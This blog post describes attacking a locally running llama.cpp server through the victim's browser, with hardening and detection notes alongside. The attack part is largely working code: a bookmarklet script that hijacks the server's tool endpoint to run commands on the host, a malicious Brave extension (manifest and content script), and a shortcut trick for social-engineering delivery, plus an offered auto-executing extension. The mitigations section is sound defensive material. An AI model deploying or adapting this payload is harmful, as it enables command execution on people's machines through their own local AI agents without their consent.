21 minute read

I’ve been running llama.cpp, a local LLM inference engine, on both Windows and Ubuntu for a while now. I enjoy the simplicity of Llama’s Web UI, and it just works for my needs. I also use OpenCode which is phenomenal and also very easy to use (great for setting up agents too!).

For my particular GPU (7900XTX 24gb) I prefer running everything on Ubuntu since it has better native support for my AMD based GPU. Here’s my rig below. It’s a GMKTek K15 Mini PC with 48gb ram, connected via an oculink port supplied by the minipc, which connects to a DEG1 dock. The dock has an MSI850 powersupply which powers my eGPU sitting next to it. It’s a pretty fun setup and very portable!

GMKTek K15 Mini PC with eGPU setup via Oculink and DEG1 dock

AMD 7900XTX 24GB GPU in external enclosure

On average I can pull around 65 t/s. I can even get up to 85 t/s when writing code! Lastly, I average between 55–65 t/s for thinking/reasoning tasks, all using Qwen3.8-27B (UD-IQ4_XS quant) as my base inferencing model.

To be even more transparent with you, I cancelled my Claude subscription after learning how to really use my local rig! I spent $700 on the GPU which I think is a decent deal, and ~$800 on the mini-pc when it was on sale on Amazon. The DEG1 dock was $109 and PSU was around $110. In case anyone is interested in the cost involved in such a rig. It’s still not cheap, but it was reasonable for my budget and what I was shooting for. Okay, so on to the actual content you’ve been waiting for. 😸

TL;DR

Local llama.cpp servers can be exposed to browser-origin abuse if CORS is permissive and no API key is set. With default-like settings, a malicious page can send prompts to a local model and consume resources. If the server is also started with --tools all, malicious same-origin content—such as a bookmarklet or injected extension script—can drive the model to execute local tools. The fix is simple: bind tightly, restrict origins, disable tools unless needed, and use API keys.

Threat Model

Before we dive in, let’s be explicit about what is being abused and what is not:

  • The target machine is running llama-server locally, bound to loopback (127.0.0.1:8080 or localhost:8080).
  • No external network exposure. The server is not reachable from the internet.
  • The victim’s own browser on that same machine is the attack vector. The victim visits attacker-controlled content or loads attacker-controlled browser content.
  • No API key is configured on the server.
  • Origin matters. The server’s CORS configuration determines which browser origins can read API responses.
  • Tools off vs. on. Without --tools all, the impact is limited to prompt abuse and compute theft. With --tools all, local tool execution becomes possible.

This is not a remote internet RCE. It is a local-host trust issue mediated through the browser.

The CORS Line That Caught My Eye

I noticed when running llama-server this line in the startup output, which is enabled by default:

llama-server startup output showing CORS: allow all origins

Here’s the actual command I ran btw, which will likely get close to the expected tokens/sec I shared above if you own the same card:

sudo GGML_VK_VISIBLE_DEVICES=1 ./llama-server -m /home/g3tsyst3m/Downloads/Qwen3.8-27B-UD-IQ4_XS.gguf -ngl 99 -c 75000 -fa on -np 1 -ctk f16 -ctv f16 -b 4096 -ub 1024 --load-mode mmap --spec-type draft-mtp --spec-draft-n-max 4 --spec-draft-p-min 0.75 --spec-draft-type-k q4_0 --spec-draft-type-v q4_0 --prio 3 --seed -1 --chat-template-kwargs "{\"reasoning_effort\": \"low\"}" --temp 1.0 --top-p 0.95 --top-k 20 --min-p 0.0 --presence-penalty 0.0 --repeat-penalty 1.0 --alias Qwen3.8-27B --jinja --mmproj /home/g3tsyst3m/mmproj-F16.gguf

⚠️ Note on sudo: I use sudo here for GPU permissions in my setup. You should avoid running llama-server as root if possible. If the server can execute tools (see below), running it elevated is especially risky because tool execution inherits the server’s privileges.

That CORS: allow all origins line is exactly the kind of thing that should make you nervous. 🤔

Hijacking Llama.cpp 🦙 While It’s Still Just a Little Tipsy

Since the API exposed no obvious origin or authentication restrictions, I wondered whether a malicious page could simply talk to an already running local llama-server. The answer is a very resounding yes!

Browser DevTools showing successful cross-origin fetch to local llama-server

What CORS Actually Does Here

The browser allows this because the server’s CORS policy permits the page’s origin to read the response. CORS is not a network firewall; it is a browser-side response-reading policy. If the server responds with an allowed origin, the page can read the result.

A few important distinctions:

  • CORS does not necessarily prevent the request from being sent. It mostly controls whether the page can read the response. Even when CORS blocks the page from reading the response, the request may still hit the server.
  • In this case, because CORS is permissive (allow all origins), the page can read the model’s response too.

Browser DevTools showing CORS headers in the llama-server response

Here’s the code for our minimal HTML + JavaScript used in the example above. This targets the llama-server OpenAI-compatible endpoint:

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Local AI Interface</title>
    <style>
        body {
            font-family: Arial, sans-serif;
            max-width: 700px;
            margin: 40px auto;
            padding: 0 20px;
            background-color: #f4f4f9;
        }
        h2 { color: #333; }
        textarea {
            width: 100%;
            height: 100px;
            padding: 10px;
            box-sizing: border-box;
            border: 1px solid #ccc;
            border-radius: 4px;
            font-size: 14px;
        }
        button {
            margin-top: 10px;
            padding: 10px 20px;
            background-color: #007bff;
            color: white;
            border: none;
            border-radius: 4px;
            cursor: pointer;
            font-size: 14px;
        }
        button:hover { background-color: #0056b3; }
        #response {
            margin-top: 20px;
            padding: 15px;
            background-color: #fff;
            border: 1px solid #ddd;
            border-radius: 4px;
            white-space: pre-wrap;
            min-height: 50px;
        }
    </style>
</head>
<body>

    <h2>Local AI Prompt Interface</h2>
    <textarea id="promptInput" placeholder="Enter your prompt here..."></textarea>
    <br>
    <button onclick="sendPrompt()">Send Prompt</button>

    <h3>Response:</h3>
    <div id="response">Your AI response will appear here...</div>

    <script>
        async function sendPrompt() {
            const prompt = document.getElementById('promptInput').value;
            const responseDiv = document.getElementById('response');

            if (!prompt.trim()) {
                responseDiv.innerText = "Please enter a prompt first.";
                return;
            }

            responseDiv.innerText = "Thinking...";

            try {
                // Targets the llama-server OpenAI-compatible endpoint.
                const res = await fetch('http://localhost:8080/v1/chat/completions', {
                    method: 'POST',
                    headers: {
                        'Content-Type': 'application/json'
                    },
                    body: JSON.stringify({
                        model: "local-model",
                        messages: [{ role: "user", content: prompt }]
                    })
                });

                if (!res.ok) {
                    throw new Error(`Server returned status: ${res.status}`);
                }

                const data = await res.json();
                responseDiv.innerText = data.choices?.[0]?.message?.content || JSON.stringify(data, null, 2);

            } catch (error) {
                responseDiv.innerText = `Error: ${error.message}\n\nNote: Ensure your local server is running on port 8080 and has CORS enabled.`;
            }
        }
    </script>

</body>
</html>

What This Means (And What It Doesn’t)

If you stumble upon a machine running llama-server with permissive CORS and no API key, a malicious page loaded in the victim’s browser could:

  • Send arbitrary prompts to the local model
  • Consume GPU/CPU resources (compute theft)
  • Read model outputs
  • Abuse a local convenience service

This is not shell execution. Without tool support enabled, the server will not execute local file or shell tools for you. That requires the --tools all flag. We will discuss more on that in the next section.

The Catch: Tools Change Everything

As discussed earlier, there is a catch: without tool support enabled, the server will not execute local file or shell tools for you. That requires the --tools all flag, and interestingly, enabling tools also changes the CORS behavior.

llama-server output showing CORS restricted to localhost when --tools all is enabled

This is where it gets much worse: the server can now execute local tools.

If I try running our minimal HTML + JavaScript code again (opened from a different origin, e.g., a file on disk), we are met with a DENY. Even llama-server detects it:

llama-server log line denying the cross-origin request

We get the same result if we manually configure a specific allowed origin, which is what I would recommend anyway:

llama-server output showing CORS restricted to http://localhost:8080

I added this flag to llama-server: --cors-origins "http://localhost:8080"

Note: localhost and 127.0.0.1 are treated as different origins by the browser. Make sure the URL you browse to matches the origin you allow in --cors-origins. If you allow http://localhost:8080, a page at http://127.0.0.1:8080 has a different origin and will be blocked.

So, to summarize the escalation:

Scenario CORS API Key Tools Impact
Default-ish local server permissive none off Prompt abuse, compute theft
--tools all restricted to localhost none on Local tool execution if same-origin script runs
--tools all + API key restricted yes on Much harder; attacker needs key and trusted-origin execution
--tools all + API key + non-root restricted yes on Best local posture

Defensive Notes 🛡️

This is no bueno and I highly encourage folks to ensure you have your setup locked down tight and only allow trusted connections. In my case, I manually set CORS origins to localhost:8080, keep the server bound to loopback, and I also keep an API key enabled.

Key mitigations:

  1. Bind tightly. Keep the server on 127.0.0.1 or localhost. Do not expose it to 0.0.0.0.
  2. Restrict CORS origins. Use --cors-origins "http://localhost:8080" (or your specific origin) rather than allowing all origins.
  3. Enable an API key. Require authentication before any API access.
  4. Disable tools unless needed. --tools all is a powerful feature with a powerful blast radius.
  5. Don’t run as root. If the server can execute tools, running it elevated means tool execution inherits root privileges. Use a dedicated user or GPU group instead.

To require authentication via the API key, start your llama-server from the command line using the --api-key or --api-key-file flags:

Pass the API key directly in the command

./llama-server -m models/your-model.gguf --api-key "your_secret_token_here"

Alternatively, pass a file containing the API key

./llama-server -m models/your-model.gguf --api-key-file /path/to/keyfile.txt

How Clients Connect - Example

Once enabled, any client trying to access the server’s endpoints must provide the key. If the key is missing or incorrect, the server will return a 401 Unauthorized error.

  • HTTP Header: Clients must pass the key as a Bearer token in the standard HTTP Authorization header
    • Authorization: Bearer your_secret_token_here

cURL Example usage:

curl http://localhost:8080/v1/chat/completions \
  -H "Authorization: Bearer your_secret_token_here" \
  -H "Content-Type: application/json" \
  -d '{ "messages": [{"role": "user", "content": "Hello!"}] }'

The Good News: Popular external platforms like Unsloth, LM Studio, and many other custom Web UIs provide explicit fields to input this API key during setup to ensure an authorized connection.

Back to Abusing CORS and Getting Llama.cpp 🦙 LIT 🍺😹🍻

But I’m not done. I love defensive notes, but there’s still one more trick left.

As I was researching CORS bypass techniques with my buddy Qwen 3.8, we stumbled upon greatness. I kept going back and forth with Qwen, and Qwen kept getting lost in a terrible reasoning loop. The back and forth was regarding sending a payload to a user in a red team engagement, and the payload could NOT depend on a proxy server or some other backend server to execute our code (python server, powershell, etc). The payload had to be self-contained within an HTML file only.

We continued to go back and forth until… a Eureka moment! Then Qwen dropped the one idea I had not thought of in years: bookmarklets.

Why a Malicious Page Is Not Enough (And Why a Bookmarklet Is)

Here’s the key insight: this is not a CORS bypass in the traditional sense. The bookmarklet simply executes malicious JavaScript from within the origin that llama-server already trusts. Because the browser treats that script as same-origin, the server’s origin-based trust applies to it.

Previously, I would either double-click the HTML file, which is basically considered a NULL origin, or open it from file://. Neither of those matches the http://localhost:8080 origin that llama-server trusts when --tools all is enabled.

A bookmarklet, however, runs inside the target tab. If the victim already has http://localhost:8080 loaded in their browser (which they do, since that’s the llama Web UI), and they click the bookmark, the JavaScript executes with the origin http://localhost:8080. The server sees a same-origin request and lets it through.

In theory, this would satisfy our CORS origin set to http://localhost:8080 by llama-server. But I needed to test it to see for myself. Also, this is without setting an API key. So bear that in mind.

Giving Llama.cpp 🦙 the Really Hard Stuff to Drink Now

⚠️ Authorization reminder: The following payload is demonstrated in my own lab environment against my own machine. In a red team engagement, you would need proper authorization and scope before testing any of this against a target system.

Here’s what Qwen and I came up with. It does get better, but I realize this is a pain to social engineer someone into doing 😹

Bookmarklet creation in browser bookmarks bar

Here’s the JavaScript code, URL decoded, that went into the bookmarklet. I URL encode it before placing into the bookmarklet by the way:

Code notes:

  • The MODEL variable is hardcoded to "Qwen3.8-27B". If your model alias is different, change MODEL to match the --alias value you passed to llama-server.
  • The URLs (/v1/chat/completions, /tools) are relative, so the script always talks to whatever origin it is currently running on.
  • This example assumes no API key is configured. If you enable --api-key, your client must also send the Authorization: Bearer ... header.
javascript:
const MODEL = "Qwen3.8-27B";
const LLM_URL = "/v1/chat/completions";
const TOOLS_URL = "/tools";
document.documentElement.innerHTML = `<head><meta charset="UTF-8"><title>Agent</title>
<style>
body{font-family:sans-serif;max-width:860px;margin:20px auto;background:#1e1e1e;color:#f4f4f4;padding:0 10px}
pre{background:#2d2d2d;padding:10px;border-radius:5px;white-space:pre-wrap;border:1px solid #444}
textarea{width:100%;height:100px;background:#2d2d2d;color:#fff;border:1px solid #444;border-radius:5px;padding:10px;box-sizing:border-box}
button{background:#007acc;color:#fff;border:none;padding:10px 20px;border-radius:5px;font-weight:700;margin:10px 8px 0 0;cursor:pointer}
.status{color:#aaa;font-style:italic;margin-top:5px}
.dot{display:inline-block;width:8px;height:8px;border-radius:50%;margin-right:6px}
.ok{background:#3dd68c}.bad{background:#e05a5a}
#health,#toolList{margin:8px 0;font-size:13px;color:#bbb}
</style></head><body>
<h2>llama-server /tools agent</h2>
<div id="health">checking...</div>
<div id="toolList"></div>
<textarea id="promptInput" placeholder="whoami, list /home, read a file..."></textarea>
<button id="sendBtn">Send Prompt</button>
<button id="clrBtn">Clear History</button>
<div id="statusOutput" class="status">Ready</div>
<h3>Response</h3>
<pre id="responseOutput">...</pre>
</body>`;

let conversationHistory = [];
let oaiTools = [];
function status(t){ document.getElementById("statusOutput").textContent = t; }
function newId(){ return "call_" + Math.random().toString(36).slice(2,12); }
function parseArgs(raw){
  if (raw == null) return {};
  if (typeof raw === "object") return raw;
  try { return JSON.parse(String(raw)); } catch(_) { return { command: String(raw) }; }
}
function toolName(e){
  return e.tool || (e.function && e.function.name) || (e.definition && e.definition.function && e.definition.function.name) || e.name || "";
}
function toOai(e){
  if (e && e.type === "function" && e.function) return e;
  if (e && e.definition && e.definition.function) return e.definition;
  if (e && e.function && e.function.name) return { type:"function", function:e.function };
  const n = toolName(e);
  if (!n) return null;
  return { type:"function", function:{ name:n, description:e.display_name||n, parameters:{ type:"object", additionalProperties:true } } };
}
function parseXml(text){
  if (!text || !text.includes("<tool_call")) return [];
  const calls = [];
  const blockRe = /<tool_call>([\s\S]*?)<\/tool_call>/gi;
  let b;
  while ((b = blockRe.exec(text))) {
    const fnRe = /<function=([^>\s]+)>([\s\S]*?)<\/function>/gi;
    let fn, found=false;
    while ((fn = fnRe.exec(b[1]))) {
      found = true;
      const args = {};
      const pRe = /<parameter=([^>\s]+)>([\s\S]*?)<\/parameter>/gi;
      let p; while ((p = pRe.exec(fn[2]))) args[p[1].trim()] = p[2].trim();
      calls.push({ id:newId(), type:"function", function:{ name:fn[1].trim(), arguments:JSON.stringify(args) } });
    }
    if (!found) {
      const t = b[1].trim();
      if (t.startsWith("{")) {
        try {
          const o = JSON.parse(t);
          if (o.name) calls.push({ id:newId(), type:"function", function:{ name:o.name, arguments: typeof o.arguments==="string"?o.arguments:JSON.stringify(o.arguments||{}) } });
        } catch(_){}
      }
    }
  }
  return calls;
}
function extract(msg){
  if (msg.tool_calls && msg.tool_calls.length) {
    return msg.tool_calls.map(tc => ({
      id: tc.id || newId(),
      type: "function",
      function: { name: (tc.function && tc.function.name) || tc.name, arguments: (tc.function && tc.function.arguments) != null ? tc.function.arguments : tc.arguments }
    }));
  }
  return parseXml(msg.content || "");
}
function fmt(data){
  if (data == null) return "(empty)";
  if (typeof data === "string") return data;
  if (data.plain_text_response != null) return String(data.plain_text_response);
  if (data.output != null) return String(data.output);
  if (data.error) return "Error: " + data.error;
  return JSON.stringify(data, null, 2);
}
async function loadTools(){
  const r = await fetch(TOOLS_URL, { cache:"no-store" });
  if (!r.ok) throw new Error("GET /tools " + r.status);
  const data = await r.json();
  const list = Array.isArray(data) ? data : (data.tools || []);
  oaiTools = [];
  const names = [];
  for (const e of list) {
    const n = toolName(e);
    if (n) names.push(n);
    const o = toOai(e);
    if (o) oaiTools.push(o);
  }
  document.getElementById("toolList").innerHTML = names.map(n => "<code>"+n+"</code>").join(" ");
  document.getElementById("health").innerHTML = '<span class="dot '+(names.length?"ok":"bad")+'"></span>/tools ' + (names.length?"up":"empty");
}
async function chat(messages){
  const body = { model: MODEL, messages, stream:false, chat_template_kwargs:{ enable_thinking:false, reasoning_effort:"low" } };
  if (oaiTools.length) { body.tools = oaiTools; body.tool_choice = "auto"; }
  const r = await fetch(LLM_URL, { method:"POST", headers:{ "Content-Type":"application/json" }, body: JSON.stringify(body) });
  if (!r.ok) throw new Error("chat " + r.status + " " + (await r.text()).slice(0,300));
  return r.json();
}
async function invoke(name, args){
  status("POST /tools " + name);
  const r = await fetch(TOOLS_URL, { method:"POST", headers:{ "Content-Type":"application/json" }, body: JSON.stringify({ tool:name, params:args }) });
  const t = await r.text();
  let data; try { data = JSON.parse(t); } catch(_) { data = { error:t.slice(0,400) }; }
  return fmt(data);
}
async function run(){
  const prompt = document.getElementById("promptInput").value;
  if (!prompt) return;
  const out = document.getElementById("responseOutput");
  conversationHistory.push({ role:"user", content:prompt });
  out.textContent = "Thinking...";
  try {
    let data = await chat(conversationHistory);
    let msg = data.choices[0].message;
    let calls = extract(msg);
    let n = 0;
    while (calls.length && n < 8) {
      n++;
      const hist = { role:"assistant", content: msg.content || "", tool_calls: msg.tool_calls && msg.tool_calls.length ? msg.tool_calls : calls };
      conversationHistory.push(hist);
      for (const tc of calls) {
        const args = parseArgs(tc.function.arguments);
        out.textContent = "[/tools] " + tc.function.name + "(" + JSON.stringify(args) + ")";
        const result = await invoke(tc.function.name, args);
        conversationHistory.push({ role:"tool", tool_call_id: tc.id, name: tc.function.name, content: result });
      }
      data = await chat(conversationHistory);
      msg = data.choices[0].message;
      calls = extract(msg);
    }
    const final = (msg && msg.content) || "(empty)";
    out.textContent = final;
    conversationHistory.push({ role:"assistant", content: final });
    status("Finished.");
  } catch (e) {
    out.textContent = String(e.message || e);
    status("Error");
  }
}
document.getElementById("sendBtn").onclick = run;
document.getElementById("clrBtn").onclick = () => { conversationHistory = []; document.getElementById("responseOutput").textContent = "cleared"; };
loadTools().catch(e => { document.getElementById("health").textContent = String(e); });

So, I’m assuming you created the bookmarklet and dragged it into the bookmarks bar in your browser. Next, browse to http://localhost:8080. It’s just the familiar llama Web UI:

llama-server Web UI loaded in browser at localhost:8080

Now, click your bookmark while in this specific browser tab that has localhost:8080 loaded with the llama-server + Qwen3.8-27B model:

Bookmarklet being clicked in the browser tab with llama-server UI

Here are my llama-server params and output:

sudo GGML_VK_VISIBLE_DEVICES=1 ./llama-server -m /home/g3tsyst3m/Downloads/Qwen3.8-27B-UD-IQ4_XS.gguf -ngl 99 -c 75000 -fa on -np 1 -ctk f16 -ctv f16 -b 4096 -ub 1024 --load-mode mmap --spec-type draft-mtp --spec-draft-n-max 4 --spec-draft-p-min 0.75 --spec-draft-type-k q4_0 --spec-draft-type-v q4_0 --prio 3 --seed -1 --chat-template-kwargs "{\"reasoning_effort\": \"low\"}" --temp 1.0 --top-p 0.95 --top-k 20 --min-p 0.0 --presence-penalty 0.0 --repeat-penalty 1.0 --alias Qwen3.8-27B --jinja --mmproj /home/g3tsyst3m/mmproj-F16.gguf --tools all --cors-origins "http://localhost:8080"
[sudo] password for g3tsyst3m: 
0.00.042.952 I cmn  common_param: common_params_print_info: verbosity = 3 (adjust with the `-lv N` CLI arg)
0.00.044.119 W srv  llama_server: -----------------
0.00.044.125 W srv  llama_server: the following feature(s) are enabled:
0.00.044.126 W srv  llama_server:     server tools (experimental)
0.00.044.127 W srv  llama_server: do not expose the server to untrusted environments
0.00.044.127 W srv  llama_server: -----------------
0.00.045.576 I srv    load_model: loading model '/home/g3tsyst3m/Downloads/Qwen3.8-27B-UD-IQ4_XS.gguf'
0.05.212.740 I cmn          init: llama threadpool init, n_threads = 2
0.05.269.261 I common_speculative_init_result: creating MTP draft context against the target model '/home/g3tsyst3m/Downloads/Qwen3.8-27B-UD-IQ4_XS.gguf'
0.05.303.879 W load_hparams: Qwen-VL models require at minimum 1024 image tokens to function correctly on grounding tasks
0.05.303.884 W load_hparams: if you encounter problems with accuracy, try adding --image-min-tokens 1024
0.05.303.885 W load_hparams: more info: https://github.com/ggml-org/llama.cpp/issues/16842

0.05.706.782 I srv    load_model: loaded multimodal model, '/home/g3tsyst3m/mmproj-F16.gguf'
0.05.761.663 I srv    load_model: initializing, n_slots = 1, n_ctx_slot = 75008, kv_unified = 'false'
0.05.800.383 I srv          init: chat template supports preserving reasoning, consider enabling it via --reasoning-preserve
0.05.800.422 I srv  llama_server: model loaded
0.05.800.426 I srv  llama_server: listening on http://127.0.0.1:8080
0.05.800.427 W srv  llama_server: NOTICE: server default port will be changed to :9931 in a future release
0.05.800.427 W srv  llama_server:         ref: https://github.com/ggml-org/llama.cpp/pull/26508

(At the time of writing, my build still used port 8080. The server binds to 127.0.0.1 by default, but we browse to localhost:8080 which resolves to the same address. As noted earlier, the origin string matters for CORS matching.)

And the test!

Agent UI replacing the llama Web UI after bookmarklet execution Agent UI showing tool execution results (whoami output)

It worked!!! Here’s the llama-server output. Also 94.76 t/s… crazy! Plus, it gladly accepted our prompt and executed our command against my host OS without question:

8.58.891.477 I slot print_timing: id  0 | task 227 | n_gen =    290, tg =  94.76 t/s, tg_3s =  95.08 t/s
9.01.774.380 I slot print_timing: id  0 | task 227 | prompt eval time =    1083.76 ms /   535 tokens (    2.03 ms per token,   493.65 tokens per second)
9.01.774.383 I slot print_timing: id  0 | task 227 |        eval time =    5932.74 ms /   549 tokens (   10.83 ms per token,    92.37 tokens per second)
9.01.774.384 I slot print_timing: id  0 | task 227 |       total time =    7016.50 ms /  1084 tokens
9.01.774.385 I slot print_timing: id  0 | task 227 |    graphs reused =        178
9.01.774.388 I slot print_timing: id  0 | task 227 | draft acceptance = 0.96205 (  431 accepted /   448 generated), mean len =  4.68
9.01.774.526 I slot      release: id  0 | task 227 | stop processing: n_tokens = 2741, truncated = 0

Once again, that’s without us setting a restrictive API key to prevent unauthorized connections. Still… I guarantee a LARGE number of folks testing out llama-server for the first time just go with the defaults and add in --tools all for the convenience of executing commands.

So what’s the point? Well, from a conceptual attacker capability standpoint: instead of giving the user a choice of what to enter, you could preemptively prepare a prompt of your choosing that auto-fires on page load and exfiltrates the results. But I need to help make for less social engineering with your payload first. That’s up next!

Time for Llama 🦙 to Sober Up But Not Until We Deliver the Final Payload!

Alright, I’ve been using Ubuntu for most of this blog write-up. Now, let’s change gears and hop on into Windows for the final payload delivery.

On some Chromium-based browsers, including certain builds of Brave, you can still launch the browser with an unpacked extension using --load-extension, provided the browser process is not already running and the build still supports that flag. This is not universal across all Chromium builds. It depends on the version, enterprise policies, and whether a browser instance is already active.

⚠️ Major limitation: The user must not have their Brave browser already running when they launch the shortcut. If any brave.exe process exists, the --load-extension flag is ignored and the extension will not load. Just so you know 😸

First, we need to create a Windows shortcut. Go ahead and create a shortcut with placeholder info in it. Then fill it out as follows, with the Target set to:

"C:\Program Files\BraveSoftware\Brave-Browser\Application\brave.exe" --load-extension="%USERPROFILE%\Downloads\report\extension" http://localhost:8080

You can leave the Start in section blank.

Place your shortcut / .lnk file in the same folder that your extension is in. You’ll want to zip this and send it to the user for your payload and get them to extract it somehow. The extraction path matters: the --load-extension path must resolve to the actual folder containing manifest.json and content.js.

Windows shortcut properties showing the --load-extension target path

The user will also have to not be using their Brave browser when they open it for the browser extension to load correctly. Yes, I realize there are still a few unnecessary social engineering steps involved, but should you succeed, the user would then load your extension which replaces their llama Web UI with your code and you could then execute commands against their machine using THEIR running local AI instance! As demonstrated earlier with the bookmarklet.

Brave browser launching with the injected extension replacing the llama UI

The code for the browser extension is exactly the same as the JavaScript code used for the bookmarklet. Create a folder called extension. Next, revisit the JavaScript code from earlier and simply remove the javascript: from the top of the code and save it as content.js.

Like so:

// javascript: <-- this line. Remove it. Keep everything else that comes after it. Save as content.js
const MODEL = "Qwen3.8-27B";
const LLM_URL = "/v1/chat/completions";
const TOOLS_URL = "/tools";

You’ll also need to create the manifest.json file and place it in the same directory as your content.js file:

{
  "manifest_version": 3,
  "name": "llama-server Agent UI",
  "version": "1.0",
  "description": "Injects agent UI into llama-server /tools on localhost:8080",
  "content_scripts": [
    {
      "matches": ["http://localhost:8080/*", "https://localhost:8080/*"],
      "js": ["content.js"],
      "run_at": "document_idle"
    }
  ]
}

Origin matching note: The matches field only covers localhost. If you browse to 127.0.0.1:8080 instead, add "http://127.0.0.1:8080/*" to the matches array. Remember: localhost and 127.0.0.1 are different origins to the browser.

What This Does NOT Mean

To keep this post honest:

  • ❌ Any website on the internet can automatically SSH into your machine
  • llama-server is remotely exploitable if bound only to localhost
  • ❌ The LLM itself is “hacked” or the model is compromised
  • ❌ This works if API keys and origin restrictions are properly enforced
  • ❌ A malicious page on a different origin can execute tools when CORS is restricted to localhost

What it DOES mean:

Local convenience services can still be abused through browser origin trust, even if they are not exposed to the network. The attack surface moves from the network into the browser.

How to Detect This

If you’re a defender or just curious, here are some indicators:

  • Server logs showing unexpected /v1/chat/completions traffic from unusual origins or at unusual times
  • Unexpected /tools calls in the server log, especially tool invocations you did not initiate
  • Model responses tied to tool calls you don’t recognize (e.g., whoami, file reads, shell commands)
  • Browser console showing injected UI or unexpected DOM changes on the llama page
  • Process monitoring for child processes spawned by llama-server that you didn’t trigger
  • Unusual GPU usage when the user is idle or not actively using the model

Takeaways

  1. Local does not mean secure. Loopback just means the attack surface moves from the network into the browser.
  2. CORS is a response-reading policy, not a firewall. Don’t confuse “the browser blocks the page from reading the response” with “the request never reaches the server.”
  3. --tools all changes the threat model entirely. What was a compute-theft risk becomes a command-execution risk.
  4. Same-origin execution is the key concept. A bookmarklet or extension content script running on the trusted origin is not a “CORS bypass”—it’s simply operating within the trust boundary the server already accepts.
  5. The fixes are simple and free: bind tightly, restrict origins, use API keys, disable tools unless needed, don’t run as root.

Local LLMs are great. Fast, private, and powerful. But trust boundaries matter, and the browser is now part of that boundary. Put it on your tab, but make sure it’s the right tab, the right origin, and the right key. 🦙


Bonus Content for Members! (All Membership Tiers)

📹 In-Depth Video/Audio Walkthrough for today’s blog post: Coming soon!

🗒️ Packaged .zip file containing an auto-execute Browser Extension that executes whoami against llama.cpp upon loading: Autoexecuting Browser Extension

And that’s a wrap folks! Thanks and see you on the next blog post!

~G3tSyst3m

Sponsored By:
image image

All demos in this post were conducted in my own lab environment against my own hardware. No third-party systems were tested without explicit authorization.

Leave a comment